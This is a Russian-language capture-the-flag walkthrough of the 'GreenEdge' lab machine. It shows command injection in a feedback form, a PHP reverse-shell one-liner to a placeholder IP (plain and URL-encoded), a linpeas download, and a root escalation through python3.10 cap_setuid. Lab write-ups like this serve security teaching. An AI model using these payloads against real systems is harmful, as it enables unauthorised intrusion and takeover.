Название: GreenEdge
Категория: Pentest Machines
Уровень: средний
Ссылка на задание: https://hackerlab.pro/categories/pentest-machines/6b4ece6f-b8e0-43c0-84c7-250cd540bea3
Баллы: 400
Reconnaissance
Первое что нас встречает, домашная страница, которая сразу же говорит, какой пользователь на сервере управляет этим сайтом.Вызов принят, давайте изучим содержимое сайта. Во вкладке Feedback можно отправлять сообщения. Из-за того что нам показали команду
id, я посмел предположить что здесь CMD injection. Так оно и оказалось.Command Injection (CMD injection) - это атака, целью которой является выполнение произвольных команд в операционной системе хоста через уязвимое приложение.
Exploitation
Давайте попробуем посмотреть содержимое исходного кода проекта и также посмотреть, что у нас есть вообще на данный момент.Ничего интересного нет, давайте попробуем получить shell и затем стабилизируем его.
Открываем Burp Suite и перехватываем POST запросы к feedback.php.
Отправляем вот такой запрос:
PHP:
php -r '$sock=fsockopen("{IP}",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
HTML:
%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%7b%49%50%7d%22%2c%34%34%34%34%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27
После долго плутания, замечаем что на сервере установлен необычный python3.10. Давайте с помощью него попытаемся стабилизировать shell.
Python:
python3.10 -c 'import pty; pty.spawn("/bin/bash")'
Privilege escalation
Переходим в директорию /tmp и с помощью команды wget скачиваем бинарник linpeas.Мы используем wget, поскольку curl нет на сервере.
Запускаем его и ждём конца сканирования. LinPEAS подсветил нам, что обнаржуен python3.10, ну мы это итак знали, но не просто python3.10, а python3.10 cap_setuid=ep. Это означает, что мы легко можем получить права root. Давайте не будет медлить и введём заветный payload:
Python:
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'